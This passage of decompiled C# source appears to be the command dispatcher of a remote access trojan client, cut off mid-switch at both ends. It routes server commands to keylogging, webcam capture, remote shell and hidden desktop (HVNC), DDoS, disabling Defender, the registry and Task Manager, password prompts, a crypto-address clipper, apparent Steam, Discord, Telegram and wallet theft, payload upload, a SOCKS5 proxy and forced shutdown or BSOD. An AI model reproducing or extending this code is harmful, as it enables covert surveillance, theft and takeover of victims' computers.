|
break;
|
|
case "Reverse": {
|
|
this.cmd("Reverse");
|
|
return;
|
|
}
|
|
break;
|
|
case "DLL_START": {
|
|
this.HandleDllStart(unpack);
|
|
return;
|
|
}
|
|
break;
|
|
case "Normal": {
|
|
this.cmd("Normal");
|
|
return;
|
|
}
|
|
break;
|
|
case "ChangeIcons": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString19 = unpack.GetAsString("Image");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("ChangeIcons#" + asString19)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking ChangeIcons: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process ChangeIcons.");
|
|
return;
|
|
}
|
|
break;
|
|
case "regdisable": {
|
|
this.cmd("regdisable");
|
|
return;
|
|
}
|
|
break;
|
|
case "HideMouse": {
|
|
this.cmd("HideMouse");
|
|
return;
|
|
}
|
|
break;
|
|
case "Services": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Services", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "ProcessSpy": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("ProcessSpy", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "passprompt": {
|
|
this.cmd("passprompt");
|
|
return;
|
|
}
|
|
break;
|
|
case "Clipboard": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString20 = unpack.GetAsString("Text");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("clipboard#" + asString20)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Clipboard: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Clipboard.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Cat": {
|
|
this.cmd("Cat");
|
|
return;
|
|
}
|
|
break;
|
|
case "Download": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Download", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "ShowTaskbar": {
|
|
this.cmd("ShowTaskbar");
|
|
return;
|
|
}
|
|
break;
|
|
case "Update": {
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): Refreshing client...");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
string path = Path.GetTempFileName() + ".bat";
|
|
using (StreamWriter streamWriter = new StreamWriter(path))
|
|
{
|
|
streamWriter.WriteLine("@echo off");
|
|
streamWriter.WriteLine("timeout 3 > NUL");
|
|
streamWriter.WriteLine($"START \"\" \"{Application.ExecutablePath}\"");
|
|
streamWriter.WriteLine("CD " + Path.GetTempPath());
|
|
streamWriter.WriteLine($"DEL \"{Path.GetFileName(path)}\" /f /q");
|
|
}
|
|
Process.Start(new ProcessStartInfo()
|
|
{
|
|
FileName = path,
|
|
CreateNoWindow = true,
|
|
ErrorDialog = false,
|
|
UseShellExecute = false,
|
|
WindowStyle = ProcessWindowStyle.Hidden
|
|
});
|
|
Environment.Exit(0);
|
|
return;
|
|
}
|
|
break;
|
|
case "URC": {
|
|
this.cmd("URC");
|
|
return;
|
|
}
|
|
break;
|
|
case "Lock": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
byte[] asByteArray = unpack.GetAsByteArray("Image");
|
|
string asString21 = unpack.GetAsString("Text");
|
|
string base64String = Convert.ToBase64String(asByteArray);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"Lock#{asString21}#{base64String}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Lock: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Lock.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Request2": {
|
|
this.cmd("Request2");
|
|
return;
|
|
}
|
|
break;
|
|
case "Volume": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
int asInteger = unpack.GetAsInteger("Volume");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Volume#" + asInteger.ToString())
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Volume: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Volume.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Riot": {
|
|
this.cmd("riot");
|
|
return;
|
|
}
|
|
break;
|
|
case "Screamer": {
|
|
this.cmd("Screamer");
|
|
return;
|
|
}
|
|
break;
|
|
case "DDOSstop": {
|
|
this.cmd("DDOSstop");
|
|
return;
|
|
}
|
|
break;
|
|
case "RC": {
|
|
this.cmd("RC");
|
|
return;
|
|
}
|
|
break;
|
|
case "Ping": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) "Ping"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Ping: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Ping.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Keylogger": {
|
|
this.cmd("Keylogger");
|
|
return;
|
|
}
|
|
break;
|
|
case "taskdisable": {
|
|
this.cmd("taskdisable");
|
|
return;
|
|
}
|
|
break;
|
|
case "NoSleep": {
|
|
this.cmd("nosleep");
|
|
return;
|
|
}
|
|
break;
|
|
case "Request": {
|
|
this.cmd("Request");
|
|
return;
|
|
}
|
|
break;
|
|
case "Upload": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Upload", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "SleepMode": {
|
|
this.cmd("sleepmode");
|
|
return;
|
|
}
|
|
break;
|
|
case "Icons": {
|
|
this.cmd("Icons");
|
|
return;
|
|
}
|
|
break;
|
|
case "PluginChunk": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("PluginHandler", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "Wifi": {
|
|
this.cmd("Wifi");
|
|
return;
|
|
}
|
|
break;
|
|
case "PlayAudio": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string base64String = Convert.ToBase64String(unpack.GetAsByteArray("Audio"));
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("playaudio#" + base64String)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking PlayAudio: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process PlayAudio.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Telegram": {
|
|
this.cmd("telegram");
|
|
return;
|
|
}
|
|
break;
|
|
case "Peter": {
|
|
this.cmd("peter");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopWebcam": {
|
|
this.cmd("StopWebcam");
|
|
return;
|
|
}
|
|
break;
|
|
case "System": {
|
|
this.cmd("System");
|
|
return;
|
|
}
|
|
break;
|
|
case "Webcam": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Webcam#" + unpack.GetAsInteger("Cam").ToString())
|
|
});
|
|
Console.Write(unpack.GetAsInteger("Cam"));
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking webcam: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process webcam.");
|
|
return;
|
|
}
|
|
break;
|
|
case "ClosePort": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString22 = unpack.GetAsString("Port");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("closeport#" + asString22)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking ClosePort: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process ClosePort.");
|
|
return;
|
|
}
|
|
break;
|
|
case "PasswordTask": {
|
|
this.cmd("PasswordTask");
|
|
return;
|
|
}
|
|
break;
|
|
case "HideTaskbar": {
|
|
this.cmd("HideTaskbar");
|
|
return;
|
|
}
|
|
break;
|
|
case "USB": {
|
|
this.cmd("usb");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopReport": {
|
|
this.cmd("stopreport");
|
|
return;
|
|
}
|
|
break;
|
|
case "Unlock": {
|
|
this.cmd("Unlock");
|
|
return;
|
|
}
|
|
break;
|
|
case "Trollcmd": {
|
|
this.cmd("Trollcmd");
|
|
return;
|
|
}
|
|
break;
|
|
case "Mullvad": {
|
|
this.cmd("Mullvad");
|
|
return;
|
|
}
|
|
break;
|
|
case "cmddisable": {
|
|
this.cmd("cmddisable");
|
|
return;
|
|
}
|
|
break;
|
|
case "BSOD": {
|
|
this.cmd("BSOD");
|
|
return;
|
|
}
|
|
break;
|
|
case "ShakeMouseStop": {
|
|
this.cmd("ShakeMouseStop");
|
|
return;
|
|
}
|
|
break;
|
|
case "RemoteDesktop": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Remote", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "Startup": {
|
|
this.cmd("Startup");
|
|
return;
|
|
}
|
|
break;
|
|
case "CustomGDI": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString23 = unpack.GetAsString("Image");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("CustomGDI#" + asString23)
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking CustomGDI: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process CustomGDI.");
|
|
return;
|
|
}
|
|
break;
|
|
case "ChatMessage": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
byte[] asByteArray = unpack.GetAsByteArray("img");
|
|
string asString24 = unpack.GetAsString("Message");
|
|
string base64String = Convert.ToBase64String(asByteArray);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"ChatMessage#{asString24}#{base64String}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking ChatMessage: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process ChatMessage.");
|
|
return;
|
|
}
|
|
break;
|
|
case "taskenable": {
|
|
this.cmd("taskenable");
|
|
return;
|
|
}
|
|
break;
|
|
case "RDP": {
|
|
this.cmd("rdp");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopShell": {
|
|
this.cmd("StopShell");
|
|
return;
|
|
}
|
|
break;
|
|
case "Steam": {
|
|
this.cmd("Steam");
|
|
return;
|
|
}
|
|
break;
|
|
case "ShakeMouse": {
|
|
this.cmd("ShakeMouse");
|
|
return;
|
|
}
|
|
break;
|
|
case "Shell": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Shell#" + unpack.GetAsString("Command"))
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking shell: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process shell.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Geo": {
|
|
this.cmd("Geo");
|
|
return;
|
|
}
|
|
break;
|
|
case "Survival": {
|
|
this.cmd("survival");
|
|
return;
|
|
}
|
|
break;
|
|
case "DrawClose": {
|
|
this.cmd("drawclose");
|
|
return;
|
|
}
|
|
break;
|
|
case "DDOS": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString25 = unpack.GetAsString("IP");
|
|
string asString26 = unpack.GetAsString("Port");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"DDOS#{asString25}#{asString26}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking DDOS: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process DDOS.");
|
|
return;
|
|
}
|
|
break;
|
|
case "StartSystemRecording": {
|
|
this.cmd("StartSystemRecording");
|
|
return;
|
|
}
|
|
break;
|
|
case "MsgBox": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString27 = unpack.GetAsString("Message");
|
|
string asString28 = unpack.GetAsString("Icon");
|
|
string asString29 = unpack.GetAsString("Options");
|
|
string asString30 = unpack.GetAsString("Title");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"MsgBox#{asString30}#{asString27}#{asString28}#{asString29}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking MsgBox: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process MsgBox.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Discord": {
|
|
this.cmd("discord");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopIcons": {
|
|
this.cmd("StopIcons");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopSystemRecording": {
|
|
this.cmd("StopSystemRecording");
|
|
return;
|
|
}
|
|
break;
|
|
case "Hosts": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("Hosts#" + unpack.GetAsString("Content"))
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Hosts: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Hosts.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Empty": {
|
|
this.cmd("Empty");
|
|
return;
|
|
}
|
|
break;
|
|
case "Anydesk": {
|
|
this.cmd("anydesk");
|
|
return;
|
|
}
|
|
break;
|
|
case "Defender": {
|
|
this.cmd("defender");
|
|
return;
|
|
}
|
|
break;
|
|
case "Crypto": {
|
|
this.cmd("crypto");
|
|
return;
|
|
}
|
|
break;
|
|
case "HVNC": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("HVNC", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "Switch": {
|
|
this.cmd("Switch");
|
|
return;
|
|
}
|
|
break;
|
|
case "Disconnect": {
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): Disconnected");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
Environment.Exit(0);
|
|
return;
|
|
}
|
|
break;
|
|
case "unCustomGDI": {
|
|
this.cmd("uncustomgdi");
|
|
return;
|
|
}
|
|
break;
|
|
case "BotKiller": {
|
|
this.cmd("BotKiller");
|
|
return;
|
|
}
|
|
break;
|
|
case "Programs": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Programs", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "UnblockInput": {
|
|
this.cmd("UnblockInput");
|
|
return;
|
|
}
|
|
break;
|
|
case "UploadPE": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("UploadPE", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "CommandPrompt": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) ("CommandPrompt#" + unpack.GetAsString("Command"))
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking CommandPrompt: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process CommandPrompt.");
|
|
return;
|
|
}
|
|
break;
|
|
case "StopEmpty": {
|
|
this.cmd("StopEmpty");
|
|
return;
|
|
}
|
|
break;
|
|
case "Epic": {
|
|
this.cmd("Epic");
|
|
return;
|
|
}
|
|
break;
|
|
case "StartProxy": {
|
|
try
|
|
{
|
|
int port = unpack.GetAsInteger("Port");
|
|
HandlePacket.socksServer?.Stop();
|
|
HandlePacket.socksServer = new Socks5Server();
|
|
Task.Run((Func<Task>)(() => HandlePacket.socksServer.Start(port)));
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Success");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): SOCKS5 proxy started on port {port.ToString()}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "Error");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): {ex.Message}");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
return;
|
|
}
|
|
}
|
|
break;
|
|
case "StartShell": {
|
|
this.cmd("StartShell");
|
|
return;
|
|
}
|
|
break;
|
|
case "BlockInput": {
|
|
this.cmd("BlockInput");
|
|
return;
|
|
}
|
|
break;
|
|
case "Compiler": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString31 = unpack.GetAsString("Type");
|
|
string asString32 = unpack.GetAsString("Code");
|
|
method.Invoke((object)null, new object[2]
|
|
{
|
|
(object) clientBridge,
|
|
(object) $"Compiler#{asString31}#{asString32}"
|
|
});
|
|
return;
|
|
}
|
|
Console.WriteLine("Command method not found in DLL.");
|
|
return;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Console.WriteLine("Error invoking Compiler: " + ex?.ToString());
|
|
return;
|
|
}
|
|
}
|
|
}
|
|
Console.WriteLine("DLL not loaded yet, cannot process Compiler.");
|
|
return;
|
|
}
|
|
break;
|
|
case "Melt": {
|
|
this.cmd("Melt");
|
|
return;
|
|
}
|
|
break;
|
|
case "Manager": {
|
|
if (!this._dllLoaded || this.asm == (Assembly)null)
|
|
return;
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Manager", BindingFlags.Static | BindingFlags.Public);
|
|
if (!(method != (MethodInfo)null))
|
|
return;
|
|
method.Invoke((object)null, new object[1]
|
|
{
|
|
(object) unpack
|
|
});
|
|
return;
|
|
}
|
|
break;
|
|
case "UnLoopScreen": {
|
|
this.cmd("UnLoopScreen");
|
|
return;
|
|
}
|
|
break;
|
|
case "Minimize": {
|
|
this.cmd("minimize");
|
|
return;
|
|
}
|
|
break;
|
|
case "Shutdown": {
|
|
Pack pack = new Pack();
|
|
pack.SetString("Packet", "PluginMessage");
|
|
pack.SetString("Message", $"(From {Environment.UserName}): Shutdown in progress");
|
|
this.sillyclient.Send(pack.Pacc());
|
|
new Process()
|
|
{
|
|
StartInfo = new ProcessStartInfo()
|
|
{
|
|
FileName = "cmd",
|
|
Arguments = "/c Shutdown /s /f /t 00",
|
|
WindowStyle = ProcessWindowStyle.Hidden,
|
|
CreateNoWindow = true
|
|
}
|
|
}.Start();
|
|
return;
|
|
}
|
|
break;
|
|
case "Clipper": {
|
|
if (this._dllLoaded)
|
|
{
|
|
if (!(this.asm == (Assembly)null))
|
|
{
|
|
try
|
|
{
|
|
MethodInfo method = this.asm.GetType("Core.EntryPoint", false, true)?.GetMethod("Command", BindingFlags.IgnoreCase | BindingFlags.Static | BindingFlags.Public);
|
|
if (method != (MethodInfo)null)
|
|
{
|
|
ClientBridge clientBridge = new ClientBridge(this.sillyclient);
|
|
string asString33 = unpack.GetAsString("BTC");
|
|
string asString34 = unpack.GetAsString("ETH");
|
|
